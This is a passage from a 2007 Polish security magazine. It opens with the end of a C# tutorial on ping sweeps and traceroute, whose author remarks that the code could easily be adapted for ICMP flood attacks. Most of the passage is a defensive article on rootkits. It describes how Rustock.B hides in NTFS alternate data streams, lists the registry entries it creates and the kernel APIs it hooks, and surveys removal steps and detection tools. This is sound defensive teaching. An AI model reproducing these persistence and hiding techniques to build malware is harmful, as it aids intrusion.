kres adresów IP, jakie będzie chciał 
sprawdzić. Dla elegancji sprawdza-
my, czy adresy IP są odpowiednie-
go  formatu.  Służy  do  tego  statycz-
na metoda 

TryParse

 klasy 

IPAddress

Jeśli  adresy  są  błędne,  wyświetlo-
ny  zostanie  odpowiedni  komuni-
kat, a kursor zostanie przeniesiony 
do pola, gdzie wystąpił błąd. Wysy-
łanie  pinga  zrealizujemy  w  potrój-
nej  pętli  for,  która  przebiegać  bę-
dzie  po  kolejnych  oktetach  adresu
IP.  Zamiana  adresu  IP  na  tablicę 
bajtów jest możliwa dzięki metodzie 

GetAddressBytes

. Z racji tego, że uży-

wamy funkcji asynchronicznych, od-
powiedzi  mogą  przyjść  w  dowolnej 
kolejności,  która  zależy  od  czasu 
odpowiedzi  komputerów  zdalnych. 
Możemy  to  zmienić  zapisując  od-
powiedź  do  listy,  którą  potem  łatwo
posortować (lub po prostu użyć me-
tody Send).

Śledzenie drogi pakietu

Ostatnim  zagadnieniem,  jakie  zde-
cydowałem  się  opisać,  jest  śledze-
nie drogi pakietu. Będzie to symula-
cja polecenia traceroute (Unix/Linux) 
lub  tracert  (Windows).  Do  tworzo-
nej przez nas aplikacji dodamy kolej-
ne kontrolki. Będzie to pole textBox4
i  przycisk  button3.  Pełny  wygląd 
naszej  aplikacji  przedstawia  Rysu-
nek 2.

Aby  uzyskać  drogę,  jaką  mu-

si  pokonać  pakiet  podążając  do 
swego  celu,  wystarczy  manipulo-
wać jego polem TTL. Rozpoczyna-
my od TTL równego 1 i – jeśli nie 
dotrzemy  do  celu  –  zwiększamy 
TTL o 1 aż do pewnej z góry usta-
lonej wartości. Na początku do na-
szej aplikacji dodamy trzy prywat-
ne  pola.  Pierwsze  jest  referencją 
klasy 

Ping

,  której  użyjemy  przy

badaniu  drogi  pakietu.  Zmienna
i  będzie  przechowywała  aktualną 
wartość TTL dla wysłanego pakie-
tu, a stała jumps wyznacza maksy-
malną  liczbę  przeskoków  pomię-
dzy  nami  a  hostem  docelowym.
W  konstruktorze  formy  dodamy 
jeszcze  definicję  nowej  metody 
zdarzeniowej  odpowiedzialnej  za 
zdarzenie 

PingCompleted

  referencji

trace.  Zabiegi  te  przedstawione  są 
na Listingu 7.

Teraz  wysyłamy  pierwszy  pa-

kiet  z  polem  TTL  ustawionym  na 

1  za  pomocą  konstruktora  klasy 

PingOptions

 (patrz Listing 8).

Ostatnią  rzeczą,  jaką  musimy 

zrobić,  jest  oprogramowanie  zda-
rzenia 

PingCompleted

  dla  referencji 

trace (patrz Listing 9). 

Jak zwykle na początku spraw-

dzamy,  czy  działanie  aplikacji  nie 
zostało  przerwane,  bądź  nie  wy-
stąpił błąd. Dalej wystarczy zbadać 
status  odpowiedzi  i  postąpić  od-
powiednio  w  zależności  od  niego. 
Jeżeli  status  jest  oznaczony  jako 

TtlExpired

, oznacza to, że wpraw-

dzie  w  zadanej  liczbie  skoków  pa-
kiet nie osiągnął celu, ale napotka-
ny po drodze host odpowiedział na 
pakiet ICMP. Jeśli dostaniemy sta-
tus
 

TimedOut

  oznacza  to,  że  przy 

aktualnym skoku host, którego na-
potkaliśmy  na  drodze  pakietu,  nie 
chce  (bądź  nie  może)  odpowie-
dzieć.  Jeśli  liczba  skoków  (zmien-
na  i)  nie  przekroczyła  swojej  war-
tości maksymalnej (stała 

jumps

), to 

zwiększamy ją o 1 i wysyłamy ping 
jeszcze  raz.  W  przypadku,  kiedy 
udało  nam  się  osiągnąć  cel,  wypi-
sujemy odpowiedni komunikat i koń-
czymy działanie metody. 

Podsumowanie

Jak  widać,  platforma  .NET  posia-
da  wiele  bardzo  dobrze  skonstru-
owanych klas służących do progra-
mowania sieciowego. Programista, 
który  wybierze  język  C#  i  techno-
logię  .NET,  z  pewnością  doceni 
łatwość  i  szybkość  tworzenia  te-
go  typu  aplikacji.  Podczas  testów 
programu wykorzystującego opisa-
ne  w  tym  artykule  metody  zauwa-
żyłem, że ciężko jest znaleźć w In-
ternecie  publiczny  serwer,  który
odpowiada na pinga. Jest to zabez-
pieczenie przed zmasowanym ata-
kiem typu denial-of-service za po-
mocą  pakietów  ICMP.  Po  lekturze 
tego artykułu, Czytelnik może bez 
specjalnego wysiłku stworzyć pro-
gram, który posłuży do podobnych 
ataków,  choć  nie  to  było  moją  in-
tencją w trakcie pisania tekstu. Jak 
zwykle, na koniec zachęcam do te-
stów i rozwijania opisanych tu kon-
cepcji. l

O autorze

Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydziale Fi-
zyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu. 
Zajmuje się symulacjami komputerowymi układów biologicznych (dynamika molekular-
na) oraz bioinformatyką. Programowanie jest nieodzowną częścią jego pracy nauko-
wej i dydaktycznej. Ma doświadczenie w programowaniu w językach C, C++, Delphi, 
Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje od 2002 roku. Jest autorem 
książek informatycznych. Strona domowa: http://www.fizyka.umk.pl/~bigman/. 
Kontakt z autorem: bigman@fizyka.umk.pl

W Sieci

•   http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy 

.NET i nie tylko. Naprawdę godny polecenia,

•   http://www.codeguru.pl – polska strona dla programistów .NET.,
•   http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszyst-

kich klas, własności i metod, jakie zawiera platforma .NET wraz z przykładowymi 
programami.

background image

www.hakin9.org

hakin9 Nr 12/2007

64

Obrona

R

ootkit jest narzędziem pomocnym ha-
kerom we włamaniach do systemów in-
formatycznych, potrafi ukryć pliki oraz

  procesy,  które  osoba  przygotowująca  atak 
chce uczynić niewidocznymi dla użytkownika. 
Rootkity  infekują  jądro  systemu  –  ukrywają 
siebie oraz inny złośliwy program (na przykład 
trojana), za pomocą którego atakujący może
uzyskać  dostęp  do  zainfekowanej  maszyny. 
Wykrycie rootkita w systemie, czy to Windows 
czy Unix/Linux, nie należy do zadań łatwych, 
lecz jeszcze trudniejsze jest skuteczne pozby-
cie się nieproszonego gościa. Rootkity nie po-
trafią same się replikować. W związku z tym, 
aby z nich korzystać, hakerzy doklejają ich kod 
do  wszelkiego  rodzaju  trojanów,  backdoorów
i  innego  rodzaju  robaków,  które  świetnie  po-
trafią  się  mnożyć.  Dzięki  temu  napastnicy
są  w  stanie  doprowadzić  do  masowego  roz-
przestrzenienia się rootkita.

W miesiącu sierpniu tego roku ukazały się 

informacje publikowane przez różne strony in-
ternetowe  na  temat  nowego  rootkitopodob-
nego
  oprogramowania  w  kolejnym  produkcie 
Sony – napędzie USB typu pendrive wyposa-
żonym w czytnik linii papilarnych. Źródłem in-
formacji jest fiński producent oprogramowania 

antywirusowego  F-Secure,  którego  pracowni-
cy  wykryli, iż  oprogramowanie  produktu  Sony
MicroVault  USM-F  tworzy  ukryty  katalog  na 
dysku. Nie ma do niego dostępu z Windows API 
i nie widzą go także niektóre programy antywi-
rusowe. Sony utrzymuje, że katalog jest tworzo-
ny w celu ukrycia odcisków użytkownika przed 
dostępem osób niepowołanych, jednak według 
F-Secure możliwe jest jego wykorzystanie do in-
nych celów i to już budzi obawy zarówno użyt-
kowników, jak i specjalistów zajmujących się tego
typu  zagrożeniami.  Warto  zadać  sobie  pyta-
nie, dlaczego duże koncerny próbują stosować

Rootkity – skuteczna 

obrona 

Grzegorz Błoński

stopień trudności

Głośno o rootkitach zaczęło się mówić od czasu skandalu w roku 

2005. Ujawniono wtedy, że firma Sony BMG Music Entertaiment 

do ochrony praw własności wykorzystała rootkita (aries.sys) 

umieszczonego w oprogramowaniu XCP Content Protection 

DRM. Tak naprawdę rootkity zaczęły się pojawiać w systemach 

komputerowych w połowie lat 90-tych XX wieku. 

Z artykułu dowiesz się

•   co to jest rootkit,
•   jakie są rodzaje rootkitów,
•   jak się bronić przed rootkitami.

Co powinieneś wiedzieć

•   znać  obsługę  linii  poleceń  w  systemach  Win-

dows i Unix/Linux,

•   umieć korzystać z edytora rejestru regedit.exe.

background image

Rootkity – skuteczna obrona

hakin9 Nr 12/2007

www.hakin9.org

65

takie rozwiązania w swoich produk-
tach,  czym  narażają  ich  użytkowni-
ków na niepotrzebne ryzyko.

Rodzaje rootkitów

•   Kernel-mode rootkit – działający 

w jądrze systemu program, który 
potrafi ukryć swoją obecność po-
przez podmianę fragmentu kodu 
jądra. Najczęściej można zainfe-
kować  się  takim  rodzajem  root-
kita  poprzez  instalację  sterowni-
ków z nieznanego miejsca w sieci 
(dotyczy to w szczególności sys-
temów  Windows).  W  przypadku 

Linuksa  sytuacja  jest  podobna, 
ponieważ  tego  typu  rootkity  in-
fekują jądro poprzez mechanizm 
LKM (Loadable Kernel Modules), 
ładowalnych modułów.

•   Application  rootkit  –  podmienia-

jący pliki binarne aplikacji rootkit, 
niemający dostępu do jądra sys-
temu.

•   Memory-based  rootkit  –  rezydu-

jący w pamięci operacyjnej kom-
putera, groźniejszy dla serwerów, 
ponieważ te są dużo rzadziej re-
startowane niż komputery. Trud-
ny  do  wykrycia,  ponieważ  więk-
szość programów zwalczających 

rootkity przeszukuje raczej zaso-
by dyskowe, a nie pamięć RAM.

•   Persistent rootkit – łatwy do wy-

krycia, ponieważ nie ukrywa się. 
Zmieniając wpisy w rejestrze sys-
temu  zakłóca  pracę  plików  sys-
temowych,  a  przez  to  powoduje 
niestabilną pracę systemu.

•   User-mode rootkit – jego działal-

ność  ograniczona  jest  prawami 
użytkownika,  na  których  niekie-
dy łatwo jest mu się zainstalować 
w systemie.

•   Root-mode rootkit – rootkit, który 

korzysta  z  praw  administratora/
roota (w zależności od systemu, 
w jakim się znajdzie).

Poza  powyższym  podziałem  zwią-
zanym  z  trybem  pracy,  spotyka  się 
inne  rodzaje  tych  złośliwych  pro-
gramów. Istnieją zagrożenia związa-
ne  z  rootkitami,  które  mogą  się  za-
szyć  w  pamięci  podzespołów  kom-
putera.  John  Heasman  z  Next  Ge-
neration  Security  Software  w  swo-
ich  publikacjach  opisuje  możliwość 
umieszczenia kodu rootkita w pamię-
ci BIOS płyty głównej oraz karty gra-
ficznej. Z jego artykułów wnioskować 
można, iż praktycznie każdy podze-
spół  komputera  wyposażony  nawet 
w niewielką ilość pamięci, którą moż-
na zapisać, może zostać wykorzysta-
ny jako nośnik – a zarazem kryjówka
–  dla  rootkita.  Heasman  proponuje 
jako  zabezpieczenie  przed  rootkita-
mi  stosowanie  w  komputerach  ukła-
dów TPM (Trusted Platform Module),
które  są  dziełem  Trusted  Computer 
Group. Układy TPM umożliwiają mię-
dzy innymi szyfrowanie haseł dostę-
pu.  Poza  tym  podczas  uruchamia-
nia komputera układ TPM sprawdza
zawartość  BIOSu,  którą  porównuje 
z tym, co ma zapisane w rejestrach 
PCR  (Platform  Configuration  Regi-
sters
). Większość układów TPM pro-
dukowanych jest w firmach Infineon, 
National Semiconductor oraz Broad-
com.  W  układy  te  wyposaża  swoje 
produkty między innymi IBM, ale tak-
że Dell, HP i Toshiba.

Pe386 na widelcu

Niektóre rootkity (na przykład Pe-386,
znany  też  jako  Rustock.B  vel  lzx32 

Rysunek 1. 

Interfejs użytkownika programu AVG Anti-Rootkit

Rysunek 2. 

Rkhunter uruchomiony na nierozpoznanym systemie

background image

hakin9 Nr 12/2007

www.hakin9.org

Obrona

66

vel  msguard)  działające  w  try-
bie  kernel-mode  wykorzystują  do 
ukrywania  funkcję  ADS  (Alternate
Data  Streams
),  która  jest  dostęp-
na w systemie plików NTFS. ADS to 
dodatkowe strumienie danych, które 
można zapisywać – jako niewidocz-
ne  –  pod  innym  plikiem  na  dysku. 
Dane w strumieniu są niewidoczne 
dla użytkownika, nie zmienia się na-
wet raportowany przez system ope-
racyjny  rozmiar  pliku,  pod  którym 
jest zapisany strumień. Pliki w stru-
mieniu zapisywane są po dwukrop-
ku, czyli na przykład plik o nazwie 
xyz.sys

 

może  zostać  powiększony

o strumień z plikiem zzz.qqq, którego
nazwa będzie mieć postać xyz.sys:
zzz.qqq
.  Podstawowy  plik  xyz.sys

 

jest widoczny z poziomu Eksplore-
ra  Windows  czy  linii  komend,  lecz 
strumienie  ADS  i  zapisane  w  nich 

pliki nie mogą być bezpośrednio za-
obserwowane.

Rustock.B  jest  rodzajem  konia 

trojańskiego,  który  został  wyposa-
żony w mechanizmy rootkita w celu 
ukrycia swej obecności w systemie. 
Nie można się nim zarazić bezwied-
nie. To użytkownik, pobierając pliki 
w  sieciach  peer-to-peer,  ze  stron  
z  warezami,  czy  otwierając  podej-
rzany  załącznik  w  e-mailu  urucha-
mia  tego  konia  trojańskiego.  Jeśli
nie zostanie on natychmiast wykry-
ty  przez  potrafiący  go  rozpoznać 
program  antywirusowy,  uruchamia 
rootkita, który zaszywa się w syste-
mie.  Złośliwy  kod  tworzy  strumień
danych ukrytych na ścieżce: %windir
%\System32:lzx32.sys 
po czym do-
daje ukrytą usługę o nazwie pe386 
oraz  ścieżce  do  pliku  jak  powyżej. 
Kolejnym krokiem jest dodanie wpi-

sów  w  rejestrze  (Ramka  Dodanie 
wpisów w rejestrze).

Ostatni wpis zawiera ciąg Win23 

lzx files loader i tu nie ma błędu, to 
jest w istocie 23.

Następnie  rootkit  modyfikuje  wy-

brane  obszary  jądra  systemu,  żeby 
zmienić  funkcjonowanie  poniższych 
funkcji API:

•  

ZwOpenKey,

•  

ZwEnumatereKey,

•  

ZwQueryKey,

•  

ZwCreateKey,

•  

ZwSaveKey,

•  

ZwDeviceIoControlFile,

•  

ZwQuerySystemInformation,

•  

ZwInitializeRegistry.

Rootkit  wyszukuje  w  obrazie  jądra 
systemu  ciągu  FATAL_UNHAND-
LED_HARD_ERROR
 i nadpisuje go 
swoim  kodem.  Zmienia  funkcjono-
wanie modułów systemowych (ndis.
sys, wanarp.sys, tcpip.sys)
 odpowie-
dzialnych za komunikację sieciową 
– tak, by móc omijać firewalle i do-
konywać  ewentualnych  zmian  za-
wartości wysyłanych pakietów TCP/
IP. Jego obecność w systemie mo-
że być rozpoznana po wzmożonym 
ruchu  na  interfejsach  sieciowych, 
ponieważ jednym z jego zadań jest 
praca  jako  ukryty  serwer  proxy. 
Często też wykorzystywany jest do 
wysyłania  spamu,  zatem  dodatko-
wo naraża komputer-ofiarę na jego 
otrzymywanie. Nierzadko zdarza się, 
że  zainfekowany  system  daje  nam 

sygnały,  iż  dzieje  się  w  nim  coś 
niedobrego  –  ciągłymi  BSODami, 

które naprawdę potrafią uprzykrzyć 
życie. Wiele osób używa kompute-
ra  nie  podejrzewając,  że  spowol-
nione działanie systemu to właśnie
taki nieproszony gość.

Aby pozbyć się Rustocka. B z kom-

putera, należy wykonać kilka czynno-
ści  zależnych  od  systemu  operacyj-
nego. Jeśli nasz system to Windows 
NT/2K/XP/2K3,  to  w  pierwszej  ko-
lejności  musimy  wyłączyć  funkcję 
Przywracanie  Systemu.  W  przypad-
ku systemów Windows 9x pomijamy
ten  krok.  Następnie  należy  urucho-
mić  komputer  za  pomocą  płyty  in-
stalacyjnej  i  po  ukazaniu  się  okna 

Rysunek 3. 

Rezultat pracy Rkhuntera

Rysunek 4. 

Okno programu sigverif.exe 

background image

Rootkity – skuteczna obrona

hakin9 Nr 12/2007

www.hakin9.org

67

dialogowego  z  wyborem  operacji 
wcisnąć  R,  aby  przełączyć  się  do
konsoli  odzyskiwania.  W  kolejnym 
oknie  należy  wybrać  zainstalowany 
system, do którego chcemy się zalo-
gować  i  podać  hasło  administrato-
ra zatwierdzając je klawiszem 

Enter

W linii poleceń należy wpisać polece-
nie 

DISABLE pe386

 i zatwierdzić klawi-

szem 

Enter

, co spowoduje zatrzyma-

nie usługi, którą wcześniej uruchomił 
rootkit. Teraz wystarczy w trybie awa-
ryjnym  przeskanować  system  przy 
pomocy  programu  antywirusowego
z najnowszymi bazami wirusów w ce-
lu  odnalezienia  tego,  co  zostało  na 
dysku po działalności rootikta. 

Na  koniec  warto  przy  użyciu 

edytora rejestru pozbyć się wpisów,
których dokonał rootkit podczas za-
rażania  systemu.  W  sieci  można 
znaleźć program o nazwie Rustbfix.
exe,
 który potrafi wykryć oraz usu-
nąć tego rootkita. Niestety w przy-
padku mojego systemu aplikacja ta 
zawiodła.  Dopiero  po  wykonaniu 
wcześniej opisanych kroków udało
mi się usunąć zagrożenie całkowi-
cie.

Frank Boldewin na swojej stronie 

www.reconstructer.org  opublikował 
obszerną  analizę  Rustocka.B,  łącz-
nie z jego kodem źródłowym. Artykuł 
ten nosi tytuł A Journey to the Cen-
ter of Rustock.B Rootkit
. Polecam go 
wszystkim  czytelnikom  pragnącym 
dowiedzieć się jeszcze więcej na te-
mat tego rootkita.

Narzędzia

Ze względu na zagrożenia, jakie nie-
sie za sobą możliwość zainfekowania 
rootkitami,  każdy  administrator  pra-
gnie zadbać o bezpieczeństwo sys-
temów, którymi administruje. Metody 

obrony przed rootkitami możemy po-
dzielić na trzy grupy:

•   zapobieganie,
•   wykrywanie,
•   usuwanie.

Zapobieganie – jakkolwiek możliwe 
– jest bardzo trudne do zrealizowa-
nia,  ponieważ  kod  rootkitów  jest, 
jak  wiadomo,  wciąż  udoskonalany 
i  rozwijany.  Wykrywanie  jest  reali-
zowane  za  pomocą  odpowiednich 
programów lub też przy użyciu spe-
cjalizowanych  urządzeń  przezna-
czonych do tego celu.

W systemach operacyjnych Win-

dows w celu zapobiegania infekcjom
rootkitów  mamy  możliwość  między 
innymi zastosowania programów róż-
nych producentów, które w większo-
ści  przypadków  są  darmowe,  a  ich 
nazwa  zawiera  słowa  Anti-Rootkit
Przykładem  niech  będzie  aplikacja 
AVG Anti-Rootkit.

Praktycznie każdy producent op-

rogramowania  antywirusowego  dla
systemów Windows – czy to darmo-
wego,  czy  też  komercyjnego  –  ma
w  swojej  ofercie  również  programy 
tego typu. Także Uniksy i Linuksy nie
są pozbawione podobnych narzędzi,
najbardziej  znanymi  i  najczęściej 
używanymi są chkrootkit oraz rkhun-
ter
.

Na Rysunku 2. widać, że program 

nie  rozpoznał  systemu  operacyjne-
go  skanowanego  komputera.  Nie 
przeszkadza mu to jednak w pracy 
– nawet w przypadku nieodnalezie-
nia kluczy MD5.

Na  kolejnym  Rysunku  3.  można 

zobaczyć, że Rkhunter po zakończo-
nym skanowaniu wyświetla informa-
cje o ilości przeskanowanych plików, 

ilości podejrzanych plików i aplikacji 
(w  przypadku,  gdy  je  wykryje)  oraz 
o czasie skanowania.

Opisane  powyżej  aplikacje  dla 

Windows  oraz  Unix/Linux  podczas 
skanowania systemu korzystają z te-
chniki zwanej cross-check, która po-
lega  na  porównywaniu  listy  plików 
zwracanej przez system operacyjny 
z tym, co na naszym dysku faktycz-
nie się znajduje. W przypadku, gdy 
rootkit zainfekuje system, potrafi się 
on skutecznie maskować i niestety 
nie  zawsze  metoda  ta  pozwala  na 
jego wykrycie.

W  ramach  projektu  Strider  au-

torstwa  Microsoftu  powstała  apli-
kacja  Ghostbuster,  która  podcho-
dzi do tematu wykrywania rootkitów 
nieco inaczej. Program (niestety, na 
razie  nie  upubliczniony)  porównuje 
listę plików w zainfekowanym syste-
mie z listą plików ze zdrowego sys-
temu. Porównanie takie pozwala na 
wykrycie  plików  (oraz  uruchamia-
nych  przez  nie  procesów),  których 
w  systemie  nie  powinno  być.  Wy-
mogiem  wykorzystania  tej  aplikacji 
jest jej uruchomienie w niezainfeko-
wanym  systemie  (aby  mieć  możli-
wość  wiarygodnego  porównania). 
Aby  tego  dokonać,  możemy  sko-
rzystać z programu BartPE i z jego
pomocą  zbudować  bootowalnego 
CD z systemem Windows oraz pro-
gramami  do  wykrywania  rootkitów.
Strider  Ghostbuster  jest  jeszcze 
niedostępny,  ale  program  Rootkit 
Revealer  firmy  Sysinternals  wyko-
rzystuje  bardzo  podobne  mechani-
zmy,  można  więc  skorzystać  wła-
śnie z niego.

W  sieci  dostępna  jest  cała  ga-

ma przeróżnych programów pozwa-
lających  na  znalezienie,  zidentyfi-
kowanie  i  często  usunięcie  rootkita
–  jak  chociażby  RootKit  Unhooker, 
Sophos Antirootkit, UnHackMe, Root-
Kit Hook Analyzer, IceSword, Helios, 
DarkSpy,  F-Secure  BlackLight  czy 
polskie  Gmer  oraz  System  Virginity 
Verifier (ten ostatni autorstwa Joan-
ny Rutkowskiej).

Użytkownicy  systemów  unik-

sowych  także  mają  możliwość 
uruchomienia  aplikacji  chkrootkit 
czy  rkhunter  z  bootowalnej  płyty 

Rysunek 5. 

Pomoc programu sfc.exe w konsoli

background image

hakin9 Nr 12/2007

www.hakin9.org

Obrona

68

CD. W sieci można znaleźć także co
najmniej  kilka  bootowalnych  dystry-
bucji Linuksa zawierających progra-
my  chkrootkit  oraz  rkhunter.  Jedną 
z  nich  jest  InSeRT  (Inside  Security 
Rescue Toolkit
), którą można pobrać
ze strony http://www.inside-security.
de
.  Kolejna  dystrybucja  to  GRML 
(http://grml.org), bazująca na Knop-
piksie  i  wyposażona  w  blisko  2500 
pakietów, wśród których znajduje się 
między innymi chkrootkit.

Sprzęt widmo

Do  wykrycia  rootkita  w  systemie 
można również użyć specjalnie za-
projektowanego  sprzętu.  Niestety, 
z  racji  braku  możliwości  zakupu 
i  praktycznego  wykorzystania  tego
typu urządzeń ograniczę się do ich 
ogólnego opisu. Urządzenie o nazwie 
Tribble  powstało  na  potrzeby  pro-
wadzenia  śledztwa  w  przypadkach
cyfrowych przestępstw. W jego pro-
jektowaniu  brali  udział  Joe  Grand 
z Grand Idea Studio oraz Brian Ca-
rrier z Digital-Evidence. Zbudowano 
je  na  bazie  procesora  Intel  IQ80-
303  wyposażonego  między  innymi 
w  mostek  PCI-to-PCI,  pozwalający
na  transfer  danych  z  prędkościami 
do 528MB/s. Instaluje się je w ser-
werze  lub  komputerze,  na  którym 
istnieje  podejrzenie  ataku,  w  celu 
zapisania zawartości pamięci RAM 
do późniejszej analizy. Karta PCI za-
instalowana  w  systemie  po  urucho-
mieniu  procedury  zapisu  pamięci 
dokonuje  zrzutu  zawartości  pamięci 
RAM  oraz  rejestrów  CPU.  Zapisaną 
zawartość pamięci można więc anali-
zować pod kątem przeróżnych kryte-

riów, między innymi przeprowadzając 
testy na obecność rootkitów.

Kolejne  urządzenie  o  podob-

nych możliwościach to RAM Captu-
re Tool, wyprodukowany przez BBN 
Technologies  Inc.  Na  temat  tego 
urządzenia można powiedzieć tyle, 
że  pracuje  również  na  szynie  PCI, 
lecz szczegółowe informacje na je-
go temat nie są ogólnie dostępne.

Działania 

prewencyjne

Działalność  rootkitów  w  systemie 
jest przez nie same maskowana po 
zainstalowaniu  się.  Chcąc  zadbać 
o sprawność systemu, możemy pos-
łużyć się narzędziem o nazwie Tri-
pwire  w  celu  wykrycia  prób  mody-
fikacji  plików  systemowych.  Jest  to 
aplikacja  z  rodzaju  IDS,  która  po-
zwala  na  wykrycie  działalności  in-
truza  w  systemie  poprzez  kontrolę 
integralności  plików  systemowych. 
Sprawdza  ona,  czy  pliki  nie  zosta-
ły zmodyfikowane, podmienione na 
inne – często właśnie zainfekowane 
– wersje, czy też usunięte. 

Tripwire tworzy bazę danych za-

wierającą  informacje  na  temat  atry-
butów  plików  i  katalogów  (łącznie 
z ich sygnaturami MD5), którą moż-
na zapisać na jakimś nośniku w celu 
późniejszego odczytu dla dokonania 
porównania. 

Dla  zapewnienia  maksymalne-

go  stopnia  pewności  wyników  po-
równywania,  Tripwire  należy  zain-
stalować w systemie jak najszybciej 
– najlepiej zaraz po zainstalowaniu 
systemu  operacyjnego.  Dla  syste-
mów  Unix/Linux  aplikacja  jest  dar-

mowa,  niestety  dla  systemów  Win-
dows dostępna jest tylko wersja ko-
mercyjna. 

W  celu  sprawdzenia,  czy  nasz 

system nie został zainfekowany ro-
otkitem, możemy się posłużyć także 
innymi  narzędziami.  Zainfekowany 
system,  w  którym  działa  już  root-
kit,  jest  przez  niego  modyfikowany 
w taki sposób by programy antywi-
rusowe  czy  antyrootkitowe  nie  wy-
kryły  go.  Z  pomocą  przyjść  mogą 
narzędzia  wbudowane  w  system. 
W przypadku Windows warto tu wy-
mienić dwa z nich.

Windows  Signature  Verification 

(sigverif.exe) to program, który dba 
o kompletność i integralność syste-
mu. Pozwala na przywracanie usu-
niętych przez użytkowników plików, 
kontrolę spójności całości systemu, 
sprawdza,  czy  pliki  wykonywalne 
*.exe*.dll oraz sterowniki posiada-
ją podpis cyfrowy, a także weryfiku-
je  podpisy/sygnatury  pliku  z  posia-
danymi bazami danych.

W  przypadku  wykrycia  zmian 

w  podpisanym  pliku  lub  pojawienia 
się pliku, który nie jest rozpoznawa-
ny (w naszym przypadku będzie to 
pojawienie się pliku rootkita w syste-
mie), wyświetlana jest informacja. 

System  File  Checker  (sfc.exe

to  aplikacja  działająca  w  linii  po-
leceń.  Służy  do  kontroli  chronio-
nych plików systemowych. W przy-
padku  wykrycia  zmienionego  pliku 
System File Checker pyta, czy ma 
przywrócić oryginalną wersję pliku 
z płyty instalacyjnej. 

Uruchomienie  programu  z  para-

metrem /scanboot spowoduje spraw-

Dodanie wpisów w rejestrze

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Security
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Imagepath=”\??\%windir%\System32:lzx32.sys”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Start=”1”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Group=”Base”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Extparam=””
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Security\Security=”(binary registry data)”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Errorcontrol=”0”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Type=”1”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Displayname=”Win23 lzx files loader”

background image

Rootkity – skuteczna obrona

hakin9 Nr 12/2007

www.hakin9.org

69

dzanie wszystkich chronionych plików
systemowych  przy  każdym  rozru-
chu.  (Uwaga!  Może  to  spowodować 
znaczne  wydłużenie  czasu  rozru-
chu  systemu.)  Jest  to  zawsze  jakaś
forma ochrony i weryfikacji tego, czy 
w  systemie  pojawiły  się  zmiany  mo-
gące  być  efektem  działania  rootkita 
bądź innego złośliwego programu. 

W celu obrony przed atakami ha-

kerów powstały programy określane 
mianem HIPS (Host Intrusion Preven-
tion System
). Ponieważ z założenia 
spełniają  one  rolę  systemu  zapo-
biegania  atakom,  częściowo  poma-
gają  chronić  system  także  przed 
rootkitami.  Przykładami  takich  na-
rzędzi  dla  systemów  Windows  są
ProcessGuard i AntiHook. Obie apli-
kacje  pozwalają  zablokować  możli-
wość  uruchamiania  nowych  progra-
mów,  zabezpieczają  pamięć  RAM, 
blokują możliwość instalacji niechcia-
nych  programów,  kontrolują  urucha-

miane aplikacje. Wprawdzie nie moż-
na takim programom ufać całkowicie, 
jednak  spełniają  one  swoje  zadania
i  pozwalają  czuć  się  odrobinę  pew-
niej.  Dla  Linuksa  istnieje  aplikacja
o  podobnym  działaniu,  nazywająca  
się  LIDS  (Linux  Intrusion  Detection 
System
). Program ten jest rozszerze-
niem dla jądra Linuksa, implementują-
cym wiele narzędzi, których normalnie
nie  znajdziemy  w  jądrze.  Obsługuje 
między  innymi  mechanizm  obowiąz-
kowej  kontroli  dostępu  (Mandatory 
Access Control
 – MAC), zawiera de-
tektor  skanowania  portów,  zapewnia 
ochronę plików oraz procesów.

Podsumowanie

W  dzisiejszych  czasach  kompute-
ry  są  stałym  składnikiem  naszego 
świata  –  czy  to  prywatnego,  czy 
zawodowego.  Ich  obecność  widać 
w  każdym  domu,  instytucji,  firmie 
–  po  prostu  wszędzie.  Wszystko 

to powoduje, że ryzyko zainfekowa
nia  komputera  złośliwym  kodem 
znacznie  wzrosło  w  stosunku  do 
lat ubiegłych. 

Ilość wirusów oraz innego rodza-

ju malware, między innymi rootkitów, 
urosła  do  takiego  stopnia,  że  nieła-
two się przed nimi bronić. Powstają 
coraz  to  nowe  aplikacje  do  ich  wy-
krywania  i  dezaktywowania,  jednak 
autorzy  kodu  rootkitów  także  udo-
skonalają  swoje  dzieła,  więc  walka 
nieustannie trwa.

Jak na razie nie zanotowano żad-

nej wielkiej epidemii rootkitów, lecz 
czy  można  być  pewnym,  że  tako-
wa nie wystąpi? Wiele wskazuje na 
to, że sytuacja nie będzie się wyraź-
nie  poprawiać.  Możemy  mieć  tylko
nadzieję, że powstaną systemy ope-
racyjne  odporne  na  tego  typu  za-
grożenia lub programy odpowiednio
zabezpieczające  obecne  systemy. 
Odpowiedź na tytułowe pytanie, czy 
można  się  skutecznie  bronić  przed 
rootkitami,  jest  bardzo  trudna  i  tak 
naprawdę  robiąc  to,  co  opisałem
w  tym  artykule  możemy  tylko  zmini-
malizować  prawdopodobieństwo  do-
stania  się  do  naszego  komputera
nieproszonego,  utrudniającego  nam 
życie gościa. l

O autorze

Grzegorz Błoński z wykształcenia jest informatykiem, certyfikowanym specjalistą IBM. 
Pracuje w dużej firmie o zasięgu światowym. Zajmuje się administracją i bezpieczeń-
stwem sieciowym. Należy do międzynarodowych organizacji ISOC oraz ISACA zajmu-
jących się szeroko pojętym bezpieczeństwem IT.
Kontakt z autorem: mancymonek@wp.pl 

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 12/2007

70

Bezpieczna firma

D

ziś  rozliczanie  rozmaitych  transakcji
z  wykorzystaniem  tradycyjnego  obiegu 
gotówki  ustępuje  miejsca  transmitowa-

niu przewodami ciągów bitów, które są następnie 
przetwarzane przez armię komputerów. Obecnie 
